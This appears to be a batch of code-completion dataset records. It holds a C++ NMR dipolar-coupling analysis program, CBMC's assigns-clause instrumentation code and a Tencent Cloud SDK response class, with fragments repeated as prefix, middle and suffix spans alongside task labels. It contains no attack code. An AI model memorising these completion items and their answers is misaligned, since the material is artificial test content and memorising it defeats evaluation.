sphco.r, Coupling::ExtraCH)); } } if (CHindices.size()!=2) throw Failed("Didn't find 2 H's per C"); const size_t nH1=CHindices(0U); const size_t nH2=CHindices(1U); const vector3 diff(struc(nH1).coords - struc(nH2).coords); const spherical sphco(diff); if (sphco.r > dlimHH) throw Failed("Unexpectedly large HH distance"); curcouplings.push_back(Coupling(nH1,nH2, cell, sphco.r, Coupling::HH)); } } List<double> sumdCH2(3U,0.0); Matrix<double> sumaux(3U, 4U, 0.0); double dss=0.0; size_t count=0; Euler lF; double lasym; for (size_t i=curcouplings.size();i--;) { Coupling& curcoupling(curcouplings(i)); const vector3 diff(struc(curcoupling.i).coords - struc(curcoupling.j).coords); const spherical sphco(diff); if (fabs(sphco.r - curcoupling.refdist)>disttolfac) { cerr << "Warnin: internuclear distance between " << (1+curcoupling.i) << " and " << (1+curcoupling.j) << " has changed significantly (" << curcoupling.refdist << " A vs. " << sphco.r << " A\n"; throw Failed("Bad distance change!"); } const double d = curcoupling.add(lasym, lF, sphco); if (curcoupling.type != Coupling::HH) dss += d*d; if (curcoupling.type != Coupling::ExtraCH) { sumdCH2(curcoupling.type) += d; sumaux(curcoupling.type, 0U) += lasym; sumaux(curcoupling.type, 1U) += lF.alpha; sumaux(curcoupling.type, 2U) += lF.beta; sumaux(curcoupling.type, 3U) += lF.gamma; if (avmode==TABALL) lastds(curcoupling.cell, 3*nC+size_t(curcoupling.type)) = 1e-3*d; count++; } } if (count != 3*ncells) throw Failed("Sanity check failed"); const double scale = 1e-3/ncells; const double drsskHz=1e-3*std::sqrt(dss/ncells); if (fpconvCH2) { fprintf(fpconvCH2,"\t%g", drsskHz); for (size_t i=0;i<3;i++) { const double dkHz= sumdCH2(i)*scale; fprintf(fpconv,"\t%g",dkHz); lastds(nC,i) = dkHz; for (size_t j=0;j<4;j++) lastangles(nC,4*i+j)=sumaux(i,j)/ncells; } lastds(nC,3U) = drsskHz; } } if (fpconv) { fprintf(fpconv,"\n"); fprintf(fpconvCH2,"\n"); } } fclose(fp); if (fpconv) { fclose(fpconv); fclose(fpconvCH2); } nframes--; cout << "Read " << nframes << " frames\n"; if (avmode==TABALL) { FILE* fpdav = createoutput(outfname,"_dall"); fprintf(fpdav,"#Cell"); for (size_t nC=0;nC<nCatoms;nC++) { const char* label=labels(nC).c_str(); fprintf(fpdav,"\t%s_dCH1/kHz\t%s_dCH2/kHz\t%s_dHH/kHz", label,label,label); } fprintf(fpdav,"\n"); for (size_t cell=0;cell<ncells;cell++) { fprintf(fpdav,"%i",cell+1); for (size_t nC=0;nC<nCatoms;nC++) for (size_t i=0;i<3;i++) fprintf(fpdav,"\t%g", lastds(cell,3*nC+i)); fprintf(fpdav,"\n"); } } else { FILE* fpdav = createoutput(outfname,"_d"); FILE* fpaux = createoutput(outfname,"_aux"); fprintf(fpdav,"#Label"); fprintf(fpaux,"#Label"); for (size_t i=0;i<3;i++) { const char* lab=NULL; switch (i) { case Coupling::CH1: lab="CH1"; break; case Coupling::CH2: lab="CH2"; break; case Coupling::HH: lab="HH"; default: break; } fprintf(fpaux,"\t%s_eta\t%s_a/deg\t%s_b/deg\t%s_g/deg", lab, lab, lab, lab); } fprintf(fpaux,"\n"); fprintf(fpdav,"#Label\t<dCH1>/kHz\t<dCH2>/kHz\t<dHH>/kHz\t<drssCH>/kHz\n"); for (size_t nC=0;nC<nCatoms;nC++) { fprintf(fpdav,"%s",labels(nC).c_str()); fprintf(fpaux,"%s",labels(nC).c_str()); for (size_t i=0;i<4;i++) fprintf(fpdav,"\t%g", lastds(nC,i)); for (size_t i=0;i<3;i++) { fprintf(fpaux,"\t%g", lastangles(nC,4*i)); for (size_t j=1;j<4;j++) fprintf(fpaux,"\t%g", rad2deg*lastangles(nC,4*i+j)); } fprintf(fpdav,"\n"); fprintf(fpaux,"\n"); } } return 0; }
#include "ttyio.h" #include "MoleculeStructure.h" #include "space_T.h" #include "NMR.h" using namespace std; using namespace libcmatrix; int verbose = 2; const double rad2deg=180.0/M_PI; FILE* createoutput(const char* basename, const char* qual) { char scratch[256]; snprintf(scratch, sizeof(scratch), "%s%s.txt",basename,qual); FILE* fp=fopen(scratch, "wa"); if (fp==NULL) { cerr << "Failed to open output file: " << scratch << "\n"; exit(2); } return fp; }
static const double gamma1H(gamma("1H")); static const double gamma13C(gamma("13C")); struct Coupling { enum coupling_t : int { CH1=0, CH2, HH, ExtraCH }; size_t i,j,cell; coupling_t type; Matrix<double> tensor; double refdist; size_t count; double gammaX; static Matrix<double> Dtmp; Coupling(size_t iv, size_t jv, size_t cellv, double refdistv, coupling_t typev) : i(iv), j(jv), cell(cellv), type(typev), refdist(refdistv), count(0U) { gammaX = (typev == HH) ? gamma1H : gamma13C; } double add(double& lasym, Euler& lF, const spherical& sphco) { static const double sqrt32 = sqrt(3.0/2.0); const double d = dipolar_coupling(gammaX, gamma1H, sphco.r*1e-10); if (verbose>0) { const char* typelabel = "CH"; switch (type) { case HH: typelabel="HH"; break; case ExtraCH: typelabel="Long-range CH"; break; default: break; } cout << typelabel << " dipolar coupling between " << (i+1) << " and " << (j+1) << ": " << d << " Hz (r=" << sphco.r << " A)\n"; } const space_T D_PAS(spatial_tensor(d)); const Euler leuler(vector_to_Euler(sphco)); const space_T D_MF(rotate(D_PAS,leuler)); tensor_to_matrix(Dtmp,D_MF); tensor += Dtmp; if (verbose>1) cout << tensor; count++; const double scale=sqrt32/count; double liso,avd; cartesian_to_PAS_symmetric(liso,avd,lasym,lF,tensor); return avd*scale; } }; Matrix<double> Coupling::Dtmp; int main(int argc, const char* argv[]) { int count = 1; const double disttolfac=5.0; const size_t nCatoms=5; List<size_t> nCatom(nCatoms); nCatom(0U)=0; nCatom(1U)=1; nCatom(2U)=5; nCatom(3U)=8; nCatom(4U)=9; MoleculeStructure struc(0); List< List<Coupling> > couplings(nCatoms); List<std::string> labels(nCatoms); const double dlim = getfloat(argc, argv, count, "Limiting CH distance (in A)? ",1.6); const double dlimCH = 1.5; const double dlimHH = 2.0; if (dlim < dlimCH) cerr << "Warning: Limiting CH distance cannot be meaningfully less than internal cutoff of " << dlimCH << " A\n"; Matrix<double> Dtmp; char fname[256]; getstring(argc,argv,count,"PDB trajectory file? ",fname,sizeof(fname),"acidch2.pdb"); FILE* fp=fopen(fname, "r"); if (fp==NULL) { cerr << "Failed to open PDB trajectory file: " << fname << '\n'; return 1; } char outfname[256]; getstring(argc,argv,count,"Output file name? ",outfname,sizeof(outfname),"UICwibble"); const int startframe = getint(argc,argv,count,"Start frame? ",1); const int maxframes = getint(argc,argv,count,"Frames to include (0 for all)? ",0); if (maxframes<0) { cerr << "Frames can't be <0!\n"; return 1; } const int stepframes = getint(argc,argv,count,"Frame step? ",1); if (stepframes<1) { cerr << "Step frames can't be <1\n"; return 1; } enum avmode_t : int { NOAV=0, DOAV, TABALL }; cout << "N - no average ('central repeat' only)\nA - Average over repeats\nT - Tabulate all averages\n"; const int avmode = getoption(argc,argv,count,"Averaging mode? ","NAT",NOAV); int endframe = 0; if (maxframes) endframe=startframe+maxframes; size_t allnatoms=0; int curframe=startframe; size_t cellnatoms=0; size_t ncells=0; FILE* fpconv = NULL; FILE* fpconvCH2 = NULL; Matrix<double> lastds; Matrix<double> lastangles; if (avmode!=TABALL) { fpconv = createoutput(outfname,"_converge"); fpconvCH2 = createoutput(outfname,"_CH2converge"); lastds.create(nCatoms,4); lastangles.create(nCatoms,12); } int nframes=1; bool firstloop=true; size_t cellstart=0; for (;;curframe+=stepframes,nframes++,firstloop=false) { if ((endframe>0) && (curframe>=endframe)) break; struc.clear(); try { struc.read_PDB_single(fp, curframe); if (struc.empty()) throw Failed("Empty structure!"); } catch (const MatrixException& exc) { if (curframe>1) break; cerr << "Failed to read any frames from " << fname << ": " << exc; return 1; } cellnatoms = struc.cell0_end() - struc.cell0_start(); if (firstloop) { allnatoms=struc.size(); cout << "Atoms read: " << allnatoms << " " << " Atoms in unit cell: " << cellnatoms << '\n'; if (avmode!=NOAV) { if (allnatoms % cellnatoms) { cerr << "Number of atoms in repeating unit doesn't divide into total number!\n"; return 1; } ncells=allnatoms / cellnatoms; } else { const size_t cell0_start = struc.cell0_start(); cout << "Serial no. of first atom is " << struc(cell0_start).serial << " Last atom is " << struc(cell0_start+cellnatoms-1).serial << '\n'; cellstart = cell0_start; ncells=1; } if (fpconv!=NULL) { fprintf(fpconv,"#Frame"); fprintf(fpconvCH2,"#Frame"); for (size_t i=0;i<nCatoms;i++) { const char* label = struc(cellstart+nCatom(i)).type; if (label[0] != 'C') throw Failed("Expected to find C atom"); fprintf(fpconv,"\t%s_dCH1/kHz\t%s_dCH2/kHz\t%s_dHH/kHz", label,label,label); fprintf(fpconvCH2,"\t%s_dCHrss/kHz", label); } fprintf(fpconv,"\n"); fprintf(fpconvCH2,"\n"); } } else { const size_t cursize=struc.size(); if (allnatoms!=cursize) { cerr << "Frame " << curframe << " differs in size from initial frame!\n"; return 2; } } if (fpconv!=NULL) { fprintf(fpconv,"%i",curframe); fprintf(fpconvCH2,"%i",curframe); } else lastds.create(ncells,nCatoms*3); for (size_t nC=0;nC<nCatoms;nC++) { List<Coupling>& curcouplings(couplings(nC)); if (firstloop) { const size_t celli=nCatom(nC); labels(nC) = struc(cellstart+celli).type; for (size_t cell=0;cell<ncells;cell++) { const size_t ni = cellstart+(cell*cellnatoms)+celli; Coupling::coupling_t coupling_state = Coupling::CH1; List<size_t> CHindices; for (size_t nj = 0; nj<struc.size(); nj++) { if (struc(nj).type[0] != 'H') continue; const vector3 diff(struc(ni).coords - struc(nj).coords); const spherical sphco(diff); if (sphco.r < dlimCH) { if (coupling_state == Coupling::ExtraCH) throw Failed("Found >2 matching CH distances"); curcouplings.push_back(Coupling(ni, nj, cell, sphco.r, coupling_state)); coupling_state =Coupling::coupling_t(int(coupling_state) + 1); CHindices.push_back(nj); } else { if (sphco.r < dlim) curcouplings.push_back(Coupling(ni, nj, cell, sphco.r, Coupling::ExtraCH)); } } if (CHindices.size()!=2) throw Failed("Didn't find 2 H's per C"); const size_t nH1=CHindices(0U); const size_t nH2=CHindices(1U); const vector3 diff(struc(nH1).coords - struc(nH2).coords); const spherical sphco(diff); if (sphco.r > dlimHH) throw Failed("Unexpectedly large HH distance"); curcouplings.push_back(Coupling(nH1,nH2, cell, sphco.r, Coupling::HH)); } } List<double> sumdCH2(3U,0.0); Matrix<double> sumaux(3U, 4U, 0.0); double dss=0.0; size_t count=0; Euler lF; double lasym; for (size_t i=curcouplings.size();i--;) { Coupling& curcoupling(curcouplings(i)); const vector3 diff(struc(curcoupling.i).coords - struc(curcoupling.j).coords); const spherical sphco(diff); if (fabs(sphco.r - curcoupling.refdist)>disttolfac) { cerr << "Warnin: internuclear distance between " << (1+curcoupling.i) << " and " << (1+curcoupling.j) << " has changed significantly (" << curcoupling.refdist << " A vs. " << sphco.r << " A\n"; throw Failed("Bad distance change!"); } const double d = curcoupling.add(lasym, lF, sphco); if (curcoupling.type != Coupling::HH) dss += d*d; if (curcoupling.type != Coupling::ExtraCH) { sumdCH2(curcoupling.type) += d; sumaux(curcoupling.type, 0U) += lasym; sumaux(curcoupling.type, 1U) += lF.alpha; sumaux(curcoupling.type, 2U) += lF.beta; sumaux(curcoupling.type, 3U) += lF.gamma; if (avmode==TABALL) lastds(curcoupling.cell, 3*nC+size_t(curcoupling.type)) = 1e-3*d; count++; } } if (count != 3*ncells) throw Failed("Sanity check failed"); const double scale = 1e-3/ncells; const double drsskHz=1e-3*std::sqrt(dss/ncells); if (fpconvCH2) { fprintf(fpconvCH2,"\t%g", drsskHz); for (size_t i=0;i<3;i++) { const double dkHz= sumdCH2(i)*scale; fprintf(fpconv,"\t%g",dkHz); lastds(nC,i) = dkHz; for (size_t j=0;j<4;j++) lastangles(nC,4*i+j)=sumaux(i,j)/ncells; } lastds(nC,3U) = drsskHz; } } if (fpconv) { fprintf(fpconv,"\n"); fprintf(fpconvCH2,"\n"); } } fclose(fp); if (fpconv) { fclose(fpconv); fclose(fpconvCH2); } nframes--; cout << "Read " << nframes << " frames\n"; if (avmode==TABALL) { FILE* fpdav = createoutput(outfname,"_dall"); fprintf(fpdav,"#Cell"); for (size_t nC=0;nC<nCatoms;nC++) { const char* label=labels(nC).c_str(); fprintf(fpdav,"\t%s_dCH1/kHz\t%s_dCH2/kHz\t%s_dHH/kHz", label,label,label); } fprintf(fpdav,"\n"); for (size_t cell=0;cell<ncells;cell++) { fprintf(fpdav,"%i",cell+1); for (size_t nC=0;nC<nCatoms;nC++) for (size_t i=0;i<3;i++) fprintf(fpdav,"\t%g", lastds(cell,3*nC+i)); fprintf(fpdav,"\n"); } } else { FILE* fpdav = createoutput(outfname,"_d"); FILE* fpaux = createoutput(outfname,"_aux"); fprintf(fpdav,"#Label"); fprintf(fpaux,"#Label"); for (size_t i=0;i<3;i++) { const char* lab=NULL; switch (i) { case Coupling::CH1: lab="CH1"; break; case Coupling::CH2: lab="CH2"; break; case Coupling::HH: lab="HH"; default: break; } fprintf(fpaux,"\t%s_eta\t%s_a/deg\t%s_b/deg\t%s_g/deg", lab, lab, lab, lab); } fprintf(fpaux,"\n"); fprintf(fpdav,"#Label\t<dCH1>/kHz\t<dCH2>/kHz\t<dHH>/kHz\t<drssCH>/kHz\n"); for (size_t nC=0;nC<nCatoms;nC++) { fprintf(fpdav,"%s",labels(nC).c_str()); fprintf(fpaux,"%s",labels(nC).c_str()); for (size_t i=0;i<4;i++) fprintf(fpdav,"\t%g", lastds(nC,i)); for (size_t i=0;i<3;i++) { fprintf(fpaux,"\t%g", lastangles(nC,4*i)); for (size_t j=1;j<4;j++) fprintf(fpaux,"\t%g", rad2deg*lastangles(nC,4*i+j)); } fprintf(fpdav,"\n"); fprintf(fpaux,"\n"); } } return 0; }
size_t validatecellstarts(const MoleculeStructure& struc, size_t start, size_t natoms) { const int start_index = struc.snumber_to_index(start); if (start_index<0) { cerr << "Serial number " << start << " not present!\n"; exit(1); } for (size_t i=natoms;i--;) { if (struc(start_index+i).type[0]!='H') { cerr << "Atom serial number " << struc(start_index+i).serial << " is not an H!\n"; exit(1); } } return start_index; }
function_block-full_function
[ { "content": "struct function_spec : public std::pair<const char*,int> {\n\n function_spec(const char* name, int nargs)\n\n : std::pair<const char*,int>(name,nargs) {}\n\n\n\n bool operator== (const function_spec& b) const\n\n { return ((second == b.second) && (strcmp(first,b.first)==0)); }\n\n \n\n boo...
C++
src/goto-instrument/contracts/assigns.cpp
peterschrammel/cbmc
d4f9c452296a91112182533605110403f77cc759
#include "assigns.h" #include "utils.h" #include <analyses/call_graph.h> #include <langapi/language_util.h> #include <util/arith_tools.h> #include <util/c_types.h> #include <util/pointer_offset_size.h> #include <util/pointer_predicates.h> static const slicet normalize_to_slice(const exprt &expr, const namespacet &ns) { if(expr.id() == ID_pointer_object) { const auto &arg = expr.operands().front(); return { minus_exprt{ typecast_exprt::conditional_cast(arg, pointer_type(char_type())), pointer_offset(arg)}, typecast_exprt::conditional_cast(object_size(arg), signed_size_type())}; } else if(is_assignable(expr)) { const auto &size = size_of_expr(expr.type(), ns); INVARIANT( size.has_value(), "`sizeof` must always be computable on l-value assigns clause targets."); return {typecast_exprt::conditional_cast( address_of_exprt{expr}, pointer_type(char_type())), typecast_exprt::conditional_cast(size.value(), signed_size_type())}; } UNREACHABLE; } const symbolt assigns_clauset::conditional_address_ranget::generate_new_symbol( const std::string &prefix, const typet &type, const source_locationt &location) const { return new_tmp_symbol( type, location, parent.symbol_table.lookup_ref(parent.function_name).mode, parent.symbol_table, prefix); } assigns_clauset::conditional_address_ranget::conditional_address_ranget( const assigns_clauset &parent, const exprt &expr) : source_expr(expr), location(expr.source_location()), parent(parent), slice(normalize_to_slice(expr, parent.ns)), validity_condition_var( generate_new_symbol("__car_valid", bool_typet(), location).symbol_expr()), lower_bound_address_var( generate_new_symbol("__car_lb", slice.first.type(), location) .symbol_expr()), upper_bound_address_var( generate_new_symbol("__car_ub", slice.first.type(), location) .symbol_expr()) { } goto_programt assigns_clauset::conditional_address_ranget::generate_snapshot_instructions() const { goto_programt instructions; source_locationt location_no_checks = location; disable_pointer_checks(location_no_checks); instructions.add( goto_programt::make_decl(validity_condition_var, location_no_checks)); instructions.add( goto_programt::make_decl(lower_bound_address_var, location_no_checks)); instructions.add( goto_programt::make_decl(upper_bound_address_var, location_no_checks)); instructions.add(goto_programt::make_assignment( lower_bound_address_var, null_pointer_exprt{to_pointer_type(slice.first.type())}, location_no_checks)); instructions.add(goto_programt::make_assignment( upper_bound_address_var, null_pointer_exprt{to_pointer_type(slice.first.type())}, location_no_checks)); goto_programt skip_program; const auto skip_target = skip_program.add(goto_programt::make_skip(location_no_checks)); const auto validity_check_expr = and_exprt{all_dereferences_are_valid(source_expr, parent.ns), w_ok_exprt{slice.first, slice.second}}; instructions.add(goto_programt::make_assignment( validity_condition_var, validity_check_expr, location_no_checks)); instructions.add(goto_programt::make_goto( skip_target, not_exprt{validity_condition_var}, location_no_checks)); instructions.add(goto_programt::make_assignment( lower_bound_address_var, slice.first, location_no_checks)); source_locationt location_overflow_check = location; location_overflow_check.add_pragma("enable:pointer-overflow-check"); instructions.add(goto_programt::make_assignment( upper_bound_address_var, minus_exprt{plus_exprt{slice.first, slice.second}, from_integer(1, slice.second.type())}, location_overflow_check)); instructions.destructive_append(skip_program); add_pragma_disable_assigns_check(instructions); return instructions; } const exprt assigns_clauset::conditional_address_ranget::generate_unsafe_inclusion_check( const conditional_address_ranget &lhs) const { return conjunction( {validity_condition_var, same_object(lower_bound_address_var, lhs.lower_bound_address_var), less_than_or_equal_exprt{pointer_offset(lower_bound_address_var), pointer_offset(lhs.lower_bound_address_var)}, less_than_or_equal_exprt{pointer_offset(lhs.upper_bound_address_var), pointer_offset(upper_bound_address_var)}}); } assigns_clauset::assigns_clauset( const exprt::operandst &assigns, const messaget &log, const namespacet &ns, const irep_idt &function_name, symbol_tablet &symbol_table) : log(log), ns(ns), function_name(function_name), symbol_table(symbol_table) { for(const auto &target_expr : assigns) add_to_write_set(target_expr); } assigns_clauset::write_sett::const_iterator assigns_clauset::add_to_write_set(const exprt &target_expr) { auto result = write_set.emplace(*this, target_expr); if(!result.second) { log.warning() << "Ignored duplicate expression '" << from_expr(ns, target_expr.id(), target_expr) << "' in assigns clause at " << target_expr.source_location().as_string() << messaget::eom; } return result.first; } void assigns_clauset::remove_from_write_set(const exprt &target_expr) { write_set.erase(conditional_address_ranget(*this, target_expr)); } exprt assigns_clauset::generate_inclusion_check( const conditional_address_ranget &lhs) const { if(write_set.empty()) return not_exprt{lhs.validity_condition_var}; exprt::operandst conditions{not_exprt{lhs.validity_condition_var}}; for(const auto &target : write_set) conditions.push_back(target.generate_unsafe_inclusion_check(lhs)); return disjunction(conditions); } void havoc_assigns_targetst::append_havoc_code_for_expr( const source_locationt location, const exprt &expr, goto_programt &dest) const { if(expr.id() == ID_pointer_object) { append_object_havoc_code_for_expr(location, expr.operands().front(), dest); return; } havoc_utilst::append_havoc_code_for_expr(location, expr, dest); } void assigns_clauset::add_static_locals_to_write_set( const goto_functionst &functions, const irep_idt &root_function) { auto call_graph = call_grapht::create_from_root_function(functions, root_function, true) .get_directed_graph(); for(const auto &sym_pair : symbol_table) { const auto &sym = sym_pair.second; if(sym.is_static_lifetime) { auto fname = sym.location.get_function(); if( !fname.empty() && (fname == root_function || call_graph.get_node_index(fname).has_value())) { add_to_write_set(sym.symbol_expr()); } } } }
#include "assigns.h" #include "utils.h" #include <analyses/call_graph.h> #include <langapi/language_util.h> #include <util/arith_tools.h> #include <util/c_types.h> #include <util/pointer_offset_size.h> #include <util/pointer_predicates.h> static const slicet normalize_to_slice(const exprt &expr, const namespacet &ns) { if(expr.id() == ID_pointer_object) { const auto &arg = expr.operands().front(); return { minus_exprt{ typecast_exprt::conditional_cast(arg, pointer_type(char_type())), pointer_offset(arg)}, typecast_exprt::conditional_cast(object_size(arg), signed_size_type())}; } else if(is_assignable(expr)) { const auto &size = size_of_expr(expr.type(), ns); INVARIANT( size.has_value(), "`sizeof` must always be computable on l-value assigns clause targets."); return {typecast_exprt::conditional_cast( address_of_exprt{expr}, pointer_type(char_type())), typecast_exprt::conditional_cast(size.value(), signed_size_type())}; } UNREACHABLE; } const symbolt assigns_clauset::conditional_address_ranget::generate_new_symbol( const std::string &prefix, const typet &type, const source_locationt &location) const { return new_tmp_symbol( type, location, parent.symbol_table.lookup_ref(parent.function_name).mode, parent.symbol_table, prefix); } assigns_clauset::conditional_address_ranget::conditional_address_ranget( const assigns_clauset &parent, const exprt &expr) : source_expr(expr), location(expr.source_location()), parent(parent), slice(normalize_to_slice(expr, parent.ns)), validity_condition_var( generate_new_symbol("__car_valid", bool_typet(), location).symbol_expr()), lower_bound_address_var( generate_new_symbol("__car_lb", slice.first.type(), location) .symbol_expr()), upper_bound_address_var( generate_new_symbol("__car_ub", slice.first.type(), location) .symbol_expr()) { } goto_programt assigns_clauset::conditional_address_ranget::generate_snapshot_instructions() const { goto_programt instructions; source_locationt location_no_checks = location; disable_pointer_checks(location_no_checks); instructions.add( goto_programt::make_decl(validity_condition_var, location_no_checks)); instructions.add( goto_programt::make_decl(lower_bound_address_var, location_no_checks)); instructions.add( goto_programt::make_decl(upper_bound_address_var, location_no_checks)); instructions.add(goto_programt::make_assignment( lower_bound_address_var, null_pointer_exprt{to_pointer_type(slice.first.type())}, location_no_checks)); instructions.add(goto_programt::make_assignment( upper_bound_address_var, null_pointer_exprt{to_pointer_type(slice.first.type())}, location_no_checks)); goto_programt skip_program; const auto skip_target = skip_program.add(goto_programt::make_skip(location_no_checks)); const auto validity_check_expr = and_exprt{all_dereferences_are_valid(source_expr, parent.ns), w_ok_exprt{slice.first, slice.second}}; instructions.add(goto_programt::make_assignment( validity_condition_var, validity_check_expr, location_no_checks)); instructions.add(goto_programt::make_goto( skip_target, not_exprt{validity_condition_var}, location_no_checks)); instructions.add(goto_programt::make_assignment( lower_bound_address_var, slice.first, location_no_checks)); source_locationt location_overflow_check = location; location_overflow_check.add_pragma("enable:pointer-overflow-check"); instructions.add(goto_programt::make_assignment( upper_bound_address_var, minus_exprt{plus_exprt{slice.first, slice.second}, from_integer(1, slice.second.type())}, location_overflow_check)); instructions.destructive_append(skip_program); add_pragma_disable_assigns_check(instructions); return instructions; } const exprt assigns_clauset::conditional_address_ranget::generate_unsafe_inclusion_check( const conditional_address_ranget &lhs) const { return conjunction( {validity_condition_var, same_object(lower_bound_address_var, lhs.lower_bound_address_var), less_than_or_equal_exprt{pointer_offset(lower_bound_address_var), pointer_offset(lhs.lower_bound_address_var)}, less_than_or_equal_exprt{pointer_offset(lhs.upper_bound_address_var), pointer_offset(upper_bound_address_var)}}); } assigns_clauset::assigns_clauset( const exprt::operandst &assigns, const messaget &log, const namespacet &ns, const irep_idt &function_name, symbol_tablet &symbol_table) : log(log), ns(ns), function_name(function_name), symbol_table(symbol_table) { for(const auto &target_expr : assigns) add_to_write_set(target_expr); } assigns_clauset::write_sett::const_iterator assigns_clauset::add_to_write_set(const exprt &target_expr) { auto result = write_set.emplace(*this, target_expr); if(!result.second) { log.warning() << "Ignored duplicate expression '" << from_expr(ns, target_expr.id(), target_expr) << "' in assigns clause at " << target_expr.source_location().as_string() << messaget::eom; } return result.first; } void assigns_clauset::remove_from_write_set(const exprt &target_expr) { write_set.erase(conditional_address_ranget(*this, target_expr)); } exprt assigns_clauset::generate_inclusion_check( const conditional_address_ranget &lhs) const { if(write_set.empty()) return not_exprt{lhs.validity_condition_var}; exprt::operandst conditions{not_exprt{lhs.validity_condition_var}}; for(const auto &target : write_set) conditions.push_back(target.generate_unsafe_inclusion_check(lhs)); return disjunction(conditions); } void havoc_assigns_targetst::append_havoc_code_for_expr( const source_locationt location, const exprt &expr, goto_programt &dest) const { if(expr.id() == ID_pointer_object) { append_object_havoc_code_for_expr(location, expr.operands().front(), dest); return; } havoc_utilst::append_havoc_code_for_expr(location, expr, dest); } void assigns_clauset::add_static_locals_to_write_set( const goto_functionst &functions, const irep_idt &root_function) { auto call_graph = call_grapht::create_from_root_function(functions, root_function, true) .get_directed_graph(); for(const auto &sym_pair : symbol_table) { const auto &sym = sym_pair.second; if(sym.is_static_lifetime) { auto fname = sym.location.get_function();
} } }
if( !fname.empty() && (fname == root_function || call_graph.get_node_index(fname).has_value())) { add_to_write_set(sym.symbol_expr()); }
if_condition
[]
C++
mdl/src/v20200326/model/EventSettingsResp.cpp
TencentCloud/tencentcloud-sdk-cpp-intl-en
752c031f5ad2c96868183c5931eae3a42dd5ae6c
#include <tencentcloud/mdl/v20200326/model/EventSettingsResp.h> using TencentCloud::CoreInternalOutcome; using namespace TencentCloud::Mdl::V20200326::Model; using namespace std; EventSettingsResp::EventSettingsResp() : m_eventTypeHasBeenSet(false), m_inputAttachmentHasBeenSet(false), m_outputGroupNameHasBeenSet(false), m_manifestNameHasBeenSet(false), m_destinationsHasBeenSet(false) { } CoreInternalOutcome EventSettingsResp::Deserialize(const rapidjson::Value &value) { string requestId = ""; if (value.HasMember("EventType") && !value["EventType"].IsNull()) { if (!value["EventType"].IsString()) { return CoreInternalOutcome(Core::Error("response `EventSettingsResp.EventType` IsString=false incorrectly").SetRequestId(requestId)); } m_eventType = string(value["EventType"].GetString()); m_eventTypeHasBeenSet = true; } if (value.HasMember("InputAttachment") && !value["InputAttachment"].IsNull()) { if (!value["InputAttachment"].IsString()) { return CoreInternalOutcome(Core::Error("response `EventSettingsResp.InputAttachment` IsString=false incorrectly").SetRequestId(requestId)); } m_inputAttachment = string(value["InputAttachment"].GetString()); m_inputAttachmentHasBeenSet = true; } if (value.HasMember("OutputGroupName") && !value["OutputGroupName"].IsNull()) { if (!value["OutputGroupName"].IsString()) { return CoreInternalOutcome(Core::Error("response `EventSettingsResp.OutputGroupName` IsString=false incorrectly").SetRequestId(requestId)); } m_outputGroupName = string(value["OutputGroupName"].GetString()); m_outputGroupNameHasBeenSet = true; } if (value.HasMember("ManifestName") && !value["ManifestName"].IsNull()) { if (!value["ManifestName"].IsString()) { return CoreInternalOutcome(Core::Error("response `EventSettingsResp.ManifestName` IsString=false incorrectly").SetRequestId(requestId)); } m_manifestName = string(value["ManifestName"].GetString()); m_manifestNameHasBeenSet = true; } if (value.HasMember("Destinations") && !value["Destinations"].IsNull()) { if (!value["Destinations"].IsArray()) return CoreInternalOutcome(Core::Error("response `EventSettingsResp.Destinations` is not array type")); const rapidjson::Value &tmpValue = value["Destinations"]; for (rapidjson::Value::ConstValueIterator itr = tmpValue.Begin(); itr != tmpValue.End(); ++itr) { EventSettingsDestinationResp item; CoreInternalOutcome outcome = item.Deserialize(*itr); if (!outcome.IsSuccess()) { outcome.GetError().SetRequestId(requestId); return outcome; } m_destinations.push_back(item); } m_destinationsHasBeenSet = true; } return CoreInternalOutcome(true); } void EventSettingsResp::ToJsonObject(rapidjson::Value &value, rapidjson::Document::AllocatorType& allocator) const { if (m_eventTypeHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "EventType"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(m_eventType.c_str(), allocator).Move(), allocator); } if (m_inputAttachmentHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "InputAttachment"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(m_inputAttachment.c_str(), allocator).Move(), allocator); } if (m_outputGroupNameHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "OutputGroupName"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(m_outputGroupName.c_str(), allocator).Move(), allocator); } if (m_manifestNameHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "ManifestName"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(m_manifestName.c_str(), allocator).Move(), allocator); } if (m_destinationsHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "Destinations"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(rapidjson::kArrayType).Move(), allocator); int i=0; for (auto itr = m_destinations.begin(); itr != m_destinations.end(); ++itr, ++i) { value[key.c_str()].PushBack(rapidjson::Value(rapidjson::kObjectType).Move(), allocator); (*itr).ToJsonObject(value[key.c_str()][i], allocator); } } } string EventSettingsResp::GetEventType() const { return m_eventType; } void EventSettingsResp::SetEventType(const string& _eventType) { m_eventType = _eventType; m_eventTypeHasBeenSet = true; } bool EventSettingsResp::EventTypeHasBeenSet() const { return m_eventTypeHasBeenSet; } string EventSettingsResp::GetInputAttachment() const { return m_inputAttachment; } void EventSettingsResp::SetInputAttachment(const string& _inputAttachment) { m_inputAttachment = _inputAttachment; m_inputAttachmentHasBeenSet = true; } bool EventSettingsResp::InputAttachmentHasBeenSet() const { return m_inputAttachmentHasBeenSet; } string EventSettingsResp::GetOutputGroupName() const { return m_outputGroupName; } void EventSettingsResp::SetOutputGroupName(const string& _outputGroupName) { m_outputGroupName = _outputGroupName; m_outputGroupNameHasBeenSet = true; } bool EventSettingsResp::OutputGroupNameHasBeenSet() const { return m_outputGroupNameHasBeenSet; } string EventSettingsResp::GetManifestName() const { return m_manifestName; } void EventSettingsResp::SetManifestName(const string& _manifestName) { m_manifestName = _manifestName; m_manifestNameHasBeenSet = true; } bool EventSettingsResp::ManifestNameHasBeenSet() const { return m_manifestNameHasBeenSet; } vector<EventSettingsDestinationResp> EventSettingsResp::GetDestinations() const { return m_destinations; } void EventSettingsResp::SetDestinations(const vector<EventSettingsDestinationResp>& _destinations) { m_destinations = _destinations; m_destinationsHasBeenSet = true; } bool EventSettingsResp::DestinationsHasBeenSet() const { return m_destinationsHasBeenSet; }
